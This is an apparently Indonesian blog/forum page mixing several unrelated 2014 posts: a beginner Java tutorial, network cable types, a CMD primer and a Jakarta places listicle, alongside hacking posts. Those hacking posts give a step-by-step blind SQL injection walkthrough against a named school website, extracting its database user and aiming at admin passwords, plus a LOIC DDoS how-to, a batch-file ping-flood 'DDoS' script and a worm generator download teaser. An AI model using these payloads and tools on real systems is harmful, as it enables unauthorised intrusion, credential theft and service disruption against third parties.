0

[THREAD] Belajar Bahasa Pemrograman JAVA

Friday, February 28, 2014
Bagi agan2 yg baru sekali ini belajar Java..
Ini ada tutorial singkat mengenai cara membuat file Java, mengcompile file Java tersebut, dan bagaimana menjalankan program Java.
Dibagian ini juga akan membahas sedikit tentang variabel dalam Java..
Silahkan mengikuti Smile
Ok sekarang ane kasih tutorial singkat mengenai Java, untuk membantu yang bener2 pemula sama sekali ^_^

LANGKAH 1: Membuat kode program Java

Nah hal pertama adalah, bagaimana asal mula suatu program aplikasi Java?
Untuk menjalankan program Java, pertama-tama kita buat file teks (txt) biasa, beri nama dengan format penamaan TitleCase dan akhiri dengan extension .java :
Misalnya Test.java

Untuk mengisi kode programnya, edit file tersebut dengan menggunakan teks editor apa saja, misalnya Notepad.

FILE :: Test.java
Isikan kode programnya:
Code:
public class Test {
// Test -> sesuai dengan nama filenya: Test.java
// (ingat Java case sensitive, Test berbeda dgn test)
}

PS: "//" adalah komentar, apapun yang ditulis setelah // tidak akan diproses
PS2: sekali lagi Java adalah case sensitive, penulisan harus benar2 memperhatikan huruf kecil dan huruf besar.

LANGKAH 2: Mengcompile kode program kita

Compile kode program yang telah kita buat dengan menggunakan Java compiler (javac.exe) yang telah termasuk dalam bundel Java SDK (J2SE), dapatkan Java SDK di http://java.sun.com/j2se/.

Gunakan DOS Prompt, buka melalui Start menu-Run-ketik CMD.
Tuliskan ini di DOS prompt :
Code:
javac Test.java

Setelah dicompile Test.java akan menghasilkan Test.class
Quote:
Test.java (kode program) compile -> Test.class (java bytecode)

LANGKAH 3: Menjalankan program tersebut

Untuk menjalankan program yang telah kita compile diatas digunakan Java launcher (java.exe), juga melalui DOS prompt :
Code:
java Test

Pada tahap ini program kita diatas akan mengeluarkan error tidak dapat dijalankan, karena Java tidak tahu harus dimulai darimana program aplikasi kita ini.

LANGKAH 4: Membuat start awal aplikasi

Start awal jalannya suatu aplikasi Java dimulai dari ditemukannya kata kunci (keyword) :
Code:
public static void main(String[] args) { }

Nah tinggal tambahkan keyword tersebut ke file Test.java kita :
Code:
public class Test {

public static void main(String[] args) {
// application start-point
}

}

Jadi program Test.java diatas sudah dapat dicompile DAN dijalankan.
Tapi karena isinya kosong, jadi program kita tsb tidak melakukan suatu hal apapun, sungguh suatu program yang tak berguna Smile
java Test -> masuk ke bagian application start-point dan selesai, tidak ada yang dikerjakan.

LANGKAH 5: Mengeluarkan suatu tulisan

Nah untuk mengeluarkan output ke console (DOS prompt) kita gunakan fungsi System.out.println("kata") :
Code:
public class Test {

public static void main(String[] args) {
System.out.println("Hello World!");
}

}

Program kita diatas ketika dijalankan akan mengeluarkan tulisan Hello World ke console.
Ah ha! Akhirnya program kita sudah jalan dan mengerjakan sesuatu, apakah Anda sudah cukup senang sekarang?! Smile
Nah selanjutnya kita akan mengenal variabel2 dalam bahasa program Java.

LANGKAH 6: Mengenal variabel serta jenis-jenisnya

Nah setelah kita mengetahui bagaimana dasar aplikasi Java dari membuat file berekstensi .java sampai menjalankannya, sekarang saatnya untuk berkenalan dengan jenis-jenis variabel yang terdapat dalam Java.

Jadi apa itu variabel??

Untuk menyimpan nilai tertentu di dalam program aplikasi kita (memori komputer), nilai tersebut haruslah disimpan sesuai kedalam suatu variabel yang tipenya sesuai dengan tipe dari nilai tersebut.
Kita tidak dapat menyimpan tipe bernilai angka ke variabel bertipe nilai huruf ataupun sebaliknya.

Pada bahasa pemograman Java, tipe-tipe variabel yang tersedia diantaranya :
Quote:
- int : untuk menyimpan nilai berupa angka bilangan bulat, misalnya: 10
- double : untuk menyimpan nilai berupa angka bilangan desimal, misalnya: 0.5
- String : untuk menyimpan nilai berupa teks kata-kata, misalnya: "Hello World"
- boolean : untuk menyimpan nilai sederhana iya atau tidak, misalnya: true

Untuk mendeklarasikan variabel yang dapat menyimpan nilai tersebut cukup dengan menggunakan:
Code:
[tipe_variabel] [nama_variabel];

misalnya: int tipeInt;
pendeklarasian variabel bernama tipeInt sebagai variabel bertipe int

Untuk mengisikan nilai ke variabel tsb gunakan tanda =
Code:
int tipeInt;

tipeInt = 10; // mengisi tipeInt dengan nilai 10

Contoh dalam program:
Code:
public class Test {

public static void main(String[] args) {
int a = 10;
double b = 0.5;
String c = "Halo";
boolean d = true;

// mengeluarkan nilai diatas ke console
System.out.println(a); // console tertulis: 10
System.out.println(b); // console tertulis: 0.5
System.out.println(c); // console tertulis: Halo
System.out.println(d); // console tertulis: true

// ganti nilai variabel a
a = 100;
System.out.println(a); // console tertulis: 100
}

}

Setelah kita mengetahui jenis-jenis tipe variabel dan bagaimana menggunakannya, sekarang kita lihat bagaimana cara mengolahnya/memanipulasinya.

LANGKAH 7: Operasi variabel

Variabel tersebut dapat kita olah sama seperti didalam matematika, yakni dengan menggunakan operasi pertambahan (+), pengurangan (-), perkalian (*), pembagian (/), ataupun hasil bagi (%).
Misalnya: int a = 10 + 10; // pertambahan
Tidak ada yang spesial dalam mengolah data variabel tersebut, cukup gunakan tanda +, -, *, /, %

Contoh:
Code:
public class Test {

public static void main(String[] args) {
int a = 10;
int b = 20;
int c = a + b; // 10 + 20 = 30
int d = a - b; // 10 - 20 = -10

System.out.println(a);
System.out.println(b);
System.out.println(c);
System.out.println(d);

double e = 2;
double f = 4;
double g = e * f; // 2 x 4 = 8
double h = e / f; // 2 / 4 = 0.5

System.out.println(e);
System.out.println(f);
System.out.println(g);
System.out.println(h);

System.out.println(5 % 3); // = 2 -> 5 / 3 = 1 sisa 2
}

}


Java juga menyediakan cara untuk mempersingkat operasi tertentu:
Code:
int a = 0;
// menambah dengan 10
cara 1: a = a + 10;
cara 2: a += 10; // lebih singkat

Sama halnya dengan pengurangan, perkalian, pembagian.
Code:
a -= 10;
a *= 10;
a /= 10;

Dan Java juga menyediakan khusus penyingkatan untuk penambahan/pengurangan dengan 1:
Code:
a = a + 1; -> a += 1; -> a++;
a = a - 1; -> a -= 1; -> a--;

sekian dulu gan,semoga temen2 bisa mendapatkan dasar untuk belajar Java, selanjutnya mungkin akan banyak lagi ulasan2 menarik ttg Java..tunggu saja update terbarunya di post ini :D
0

[HACKING] Tutorial Blind SQL Injection v.4

setan dari surga - chmod755
Apa sih Blind SQL Injection tu?

Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...

disini GT memakai command :

mid()= hampir sama fungsinya dengan substring()
char()= adalah peubah dari karakter

lanjut..

ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4..kita memakai blind,karena v4 tidak support query information_schema

kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw

lanjut...

Target: www.smanti.com (thx to bejamz udah ngasih target :)

1.PENGETESAN BUG

Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and
1=0 dan and 1=1


www.smanti.com/berita.php?id=5 and 1=0 << False
www.smanti.com/berita.php?id=5 and 1=1 << True
eh ternyata ada bug nya...
lanjut....

2.BLIND INJECT

Query yg dipakai: and mid(user(),1,1)=CHAR(65)

saya jelaskan sedikit deh..

mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut

sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...

lanjut..

mari kita masukkan

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)

ternyata hasilnya masih false (beritanya hilang)

berarti value yg kita masukkan salah..

tinggal tambah value na..jadi..

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <
dst sampe kita menemukan keadaan true(beritanya muncul kembali)

kebetulan ada di char(83)

www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83)  <
cape?masih kuat?hahaha..trial n error...
lanjut..
kita tambain value na..

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)

adakah perbedaan nya?
yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..
gini nih..

1,1 = value pertama user
1,2 = value kedua user
1,3 = value ketiga user
dst
dan 83 adalah nilai true,lalu kita tambahkan..

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)

dst.. sampe dpet yg true..
ternyata yg true ngumpet di value 77

www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)

lanjutin trus langkah2na..
cari value k 3 user..

www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)

eh langsung ktemu..hehehe..
lanjut value k 4..

www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)

ternyata ktemu di value 78..

www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)

lanjut trus aja...
cape gw..


pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table

www.piclist.com/techref/ascii.htm

stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN nah udah hampir ktebak user name nya..kerjain ndiri y..okey

nah..gmana kalo mw dapet password na?

kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..

jadi

www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)

cari lagi..sama kayak cari user tadi..harus sabar..
ulangi sampai dapat true ..
tambain value na..wkwkwkw..
dan rubah value database() untuk mencari value lainnya..
hingga mendapat admin password dan db password
.metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)
akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...
okey sampe sini aja ah..
slamat mencoba wkwkwkw...
Thanks smua..salam ganteng dari gue kwkwkwkw..
0

[HACKING] DDoS Dengan Tool LOIC

Kali ini saya akan share tools yang tidak kalah keren. LOIC, Low Orbit Ion Cannon. Tools ini hampir sama dengan HOIC, dan kualitasnya juga bisa dibilang sama. Jadi terserah kalian mau pake yang HOIC atau LOIC. Atau mau pake kedua-duanya. :v

LOIC

Langkah - langkah : 
Pada kolom URL, isi dengan url target lalu klik LOCK ON.
Begitu juga dengan IP, Port, Dan Method [Untuk mengetahui IP dan Port target, bisa discan di IP Scanner online. Cari aja di Google]
Setelah semuanya diisi, klik IMMA CHARGIN MAH LAZER.
Tunggu sampai target down. Target down jika angka di Attack Status - Failed menjadi besar/banyak.

Untuk mendownload, klik link dibawah ini : 
Download LOIC!!
0

[HACKING] Cara Membuat Tool DDoS Dari Notepad

DDoS merupakan salah satu serangan terhadap sebuah komputer atau server didalam sebuah jaringan internet, dengan cara membanjiri lalu lintas host target sehingga sulit untuk diakses. 

Cara Membuat Tool DDoS Sederhana dari Notepad
DDos Tools

Dan kali ini saya akan memberikan sebuah tutorial, yaitu cara membuat tools DDoS sederhana dari notepad. Jika kalian penasaran, mari kita simak berikut ini.
1. Buka Notepad
Cara Membuat Tool DDoS Sederhana dari Notepad
2. Masukan Kode Berikut Ini :
@echo off
mode 67,16
title DDOS Attack
color 0a
cls
echo.
echo DDOS With Batchfile
echo.
set /p x=Server-Target:
echo.
ping %x%
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=ip Host:
echo.
set /p n=Packet Size:
echo.
:DDOS
color 0c
echo Attacking Server %m%
ping %m% -i %n% -t >nul
goto DDOS

3. Kemudian Save As.

4. Beri nama Tools DDoS.bat - Ubah Save As type: All Files - Save.

Dengan serangan sederhana ini dan dilakukan secara berulang-ulang, web target akan sedikit lambat jika kita akses. Tutorial ini hanya untuk pembelajaran, jadi jangan disalahgunakan ya :)
0

[HACKING] Worm / Virus Generator

Download Worm atau Virus Generator Disini !!

Sebelumnya untuk tutorial ini mohon jangan di salah gunakan, Terima kasih..
Enjoy :)
0

[THREAD] Jenis-jenis Kabel Jaringan


Rancangan jaringan yang memakai tehnologi kabel untuk media fisik untuk mentransfer data dan sebagainya terus dipakai pada sebagian rancangan jaringan. Hal semacam ini karena pemakaian media kabel untuk penghubung jaringan adalah salah satu media yang cukup stabil dibanding nirkabel atau wireless. Terdapat banyak jenis-jenis kabel jaringan yang dipakai sampai saat ini, adapun jenis – jenis kabel jaringan itu adalah :
1. Koaksial (Coaxial)
Pertama ditemukan pada tahun 1880-an, kabel ini umum dipakai untuk antena pada tv. Kabel ini terbagi dalam kawat tembaga untuk inti dikelilingi isolator didalamnya, lalu dikelilingi oleh konduktor dibagian luar serta dibungkus dengan susunan isolator paling luar. Kabel ini telah tidak sering dipakai pada jaringan computer walau pemakaiannya relatif murah, pemakai lebih menentukan kabel jenis twisted pair untuk penghubung jaringan komputer.
2.Twisted Pair
Inilah kabel jaringan yang banyak digunakan pemakai computer waktu ini. Kabel ini terbagi dalam beberapa kabel melilit yang mempunyai warna spesifik. Ada dua jenis kabel twited pair, yakni Unshielded Twisted Pair (UTP) serta Shielded Twisted Pair (STP), STP mempunyai susunan alumunium foil yang bikin ia tahan pada medan magnet atau aliran listrik dengan voltase tinggi sedang UTP tidak.
Kabel jenis UTP semakin banyak dipakai dari pada STP lantaran pemasangannya yang sedikit lebih gampang serta murah. Dalam penyususan kabel Unshielded Twisted Pair dipakai dua cara, yakni Straight Cable (kabel lurus) serta Crossover Cable (kabel menyilang). Kabel Straight dipakai dalam menghubungkan workstation dengan hub, sedang Kabel Menyilang dipakai untuk menghubungkan pada komputer dengan komputer tanpa lewat hub/switch. Pemasangan kabel jenis straight membutuhkan urutan warna yang di tetapkan, yakni seperti berikut :
Urutan kabel straight
  • putih orange – orange, putih hijau – biru, putih biru – hijau, putih coklat – coklat.
  • putih orange – orange, putih hijau – biru, putih biru-hijau, putih coklat-coklat.
Urutan kabel crossover
  • putih orang – orange, putih hijau – biru, putih biru – hijau, putih coklat – coklat.
  • putih hijau – hijau, putih orange – biru, putih biru – orange, putih coklat -coklat.

3.Fiber Optic
Kabel jenis ini terbuat dari serat kaca yang memiliki kecepatan transfer lebih cepat dari kabel jenis lain serta lebih tahan pada gelombang elektromagnetik dan tanpa sinyal elektrik karena tak memakai tembaga untuk konduktor nya, fiber optic juga mempunyai bandwidth dengan kemampuan yang besar. Dengan keunggulan ini biasanya kabel fiber optic dipakai untuk bangun jaringan komputer dibawah laut.
Fiber optic juga memiliki kekurangannya yakni rata-rata kabel jenis ini bernilai mahal, atau sekitar Rp. 12. 000/mtr. untuk jenis yang paling bawah.
0

[THREAD] Pengertian CMD | COMMAND PROMPT

Friday, February 14, 2014

COMMAND PROMPT atau cmd merupakan adalah jendela pada windows yang berfungsi untuk mengetahui seluk beluk yang terdapat pada system windows, dimana cmd ini yang mengesekusi setiap perintah - perintah yang diberikan oleh user untuk mengetahui system yang ada pada windows.




Cara Menggunakan cmd:

  • Klik Start
  • Pilih Run
  • Masukkan cmd
  • Kemudian isikan perintahnya, Contoh ketik "TIME" (tanpa tanda petik) untuk mengetahui waktu pada system windows saat ini.
0

[THREAD] ◄◄ Jakarta Punya 10 Tempat Keren Ini, dan Tidak Semua Orang Tahu! ►►

Sunday, January 12, 2014
Quote:Tahun ini sambut semua hal baru di Jakarta yang makin bersinar. Termasuk mengunjungi semua daftar tempat-tempat di bawah ini, yang mungkin akan akrab di telinga kita sepanjang tahun.

Oleh Ananda Rasulia, dimuat di urbanesia.com.
Sumber gambar:
foto.news.viva.co.id, mensjourneyid.com, toswebzine.com, Facebook Ciputra Artpreneur Center, kvltmagz.com, info-dandy.blogspot.com, tripadvisor.co.uk.



Spoiler for 1


Taman Kota Naik Daun

Dari kumpul komunitas sampai gigs kecil dan kian membesar, acara bertema piknik di taman jadi pilihan berbeda yang disuka warga kota Jakarta. Taman Krida Loka Senayan, Hidden Park yang terus dikembangkan pemerintah, dan taman-taman lama tapi makin dicintai warganya seperti Taman Menteng, Taman Suropati, Taman Ayodia dan banyak lagi diperkirakan akan makin naik daun di tahun ini.

Spoiler for 2


Nge-beer di Taman

Untuk yang suka mingle di taman dengan warga lainnya, pasti tetap suka dengan tempat bertema taman yang makin hits dari pertengahan tahun lalu ini. Beer Garden membuka lagi cabangnya di Menteng pada Desember lalu. Sejak dari pembukaan perdananya, pecinta bir Jakarta mulai rajin bolak-balik check in di sana.

Spoiler for 3


Hard Rock Cafe Hidup Lagi
Tempat hang out yang diperkirakan akan booming lagi setelah kepindahan lokasinya adalah Hard Rock Cafe Jakarta. Hard Rock Café Jakarta kembali buka di tempat yang baru dan hadir dengan sentuhan yang lebih segar dan elegan dari lokasi lamanya di EX Plaza kini pindah ke Pacific Place SCBD.

Spoiler for 4


Jakarta Dikepung Mall Baru

Ada lebih dari 15 mall baru akan mengepung ibu kota mulai dari dalam kota sendiri, maupun daerah-daerah penyangga kota Jakarta seperti Depok, Bekasi dan Bintaro. Data yang dilansir Colliers International Indonesia, mall-mall tersebut beberapa di antaranya Summarecon Mall Bekasi, Living World Jababeka, The Breeze BSD City, dan yang sudah resmi dibuka Bintaro Xchange.

Spoiler for 5


Pilhan Tempat Meluncur

Jika bosan ke mall hanya makan, belanja, dan cuci mata, hadirnya arena ice skating yang kini bukan hanya hadir di Mall Taman Anggrek saja tentu menambah keseruan untuk mengunjungi mall-mall baru tersebut. Di Bintaro Xchange terdpat BX Rink yang mulai ramai dikunjungi dari akhir tahun lalu meski pembangunannya belum rampung dengan sempurna.

Spoiler for 6


Makin Seru ke Bioskop

Menonton film di bioskop kini juga makin menjanjikan sensasi lebih dari menonton biasa dengan kacamata 3D atau IMAX yang diserbu penonton tahun lalu. Menonton film dengan 4DX di Blitzmegaplex berarti akan merasakan menonton dengan kursi yang diprogram secara khusus, sound system serta special effect gerakan, suara, udara, bubble, dan aroma.

Spoiler for 7


Belanja Plus-Plus

Brand-brand dengan produk berkualitas untuk berbusana juga hadir makin dekat dengan membuka cabang-cabang barunya mengitari Jakarta. Salah satunya Wakai yang hadir di Pondok Indah Mall 2 dan Gandaria City lengkap dengan B-side, kafe yang cozy untuk menghabiskan waktu setelah belanja.

Spoiler for 8


Makan di Angkasa

Jika tahun lalu SKYE mencuri perhatian warga Jakarta dengan sensasi makan di angkasa, ada lagi tempat-tempat sejenis yang menjanjikan sesasi yang sama. Sky Lounge At Mercure atau disingkat SLAM terletak di kawasan Simatupang dengan desain kaca yang apik dilengkapi dengan sofa nyaman, giant bathtub, dan jacuzzi.

Spoiler for 9


Galeri untuk Memperkaya Indonesia

Satu lagi wadah untuk insan kreatif dan pecinta seni Indonesia didirikan. Kali ini berada di dalam mall Grand Indonesia. Bernama Galeri Indonesia Kaya, ruang pamer yang diusung Bakti Budaya Djarum Foundation ini memfasilitasi pengunjungnya, terutama anak muda menikmati pertunjukan seni dan budaya Indonesia dengan cara modern yang interaktif.

Spoiler for 10


Pusat Seni di Mall

Selain Galeri Indonesia Kaya, ada juga Asrtspace atau juga disebut Ciputra Artpreneur Center yang terletak di Lotte Shopping Avenue juga meruapakan ruang untuk para seniman memamerkan karya seni agar lebih dekat dengan masyarakat luas terutama warga Jakarta. Pada lokasi ini mulai sering digelar beragam pameran salah satunya Artphoria hingga akhir Januari nanti.

Pages